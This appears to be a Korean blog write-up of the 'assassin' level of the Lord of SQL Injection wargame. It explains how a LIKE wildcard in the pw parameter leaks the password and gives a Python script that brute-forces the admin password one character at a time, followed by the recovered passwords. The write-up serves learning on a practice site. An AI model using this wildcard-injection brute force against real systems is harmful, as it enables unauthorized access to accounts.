Bace
LOS - assassin 본문
문제는 다음과 같다.
pw 는 문자열로 처리되는데, 와일드카드를 통해 확인해보았더니 Hello guest가 뜬다.
아스키코드를 하나씩 다 대입해보아도 Hello admin은 뜨지 않는다.
guest와 admin의 pw 앞자리가 같아서 그렇다.
코드를 통해 한자리마다 대입하여 pw를 찾았다.
import requests
answer = ''
guess = ''
for i in range(ord('0'),ord('z')+1):
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=처음에는 guest로 나오는거 하나씩 대입하면서 추가하다가 3번째 자리부터 admin pw 나옴 ' + chr(i) + '%'
cookies = {'PHPSESSID':'자신의 PHPSESSID'}
response = requests.get(url=url,cookies=cookies)
if response.text.find("Hello admin") != -1:
answer += chr(i)
print 'admin letter'
break
elif response.text.find("Hello guest") != -1:
guess += chr(i)
print 'guest letter'
print 'letter {} '.format(i)
print answer
print guess
프로그램을 통해 알아낸 pw
admin의 pw : 902EFD10
guest의 pw : 90D2FE10
solve
'LOS' 카테고리의 다른 글
LOS - zombie assassin (0) | 2020.01.22 |
---|---|
LOS - succubus (0) | 2020.01.22 |
LOS - giant (0) | 2020.01.21 |
LOS - bugbear (0) | 2020.01.21 |
LOS - darkknight (0) | 2020.01.20 |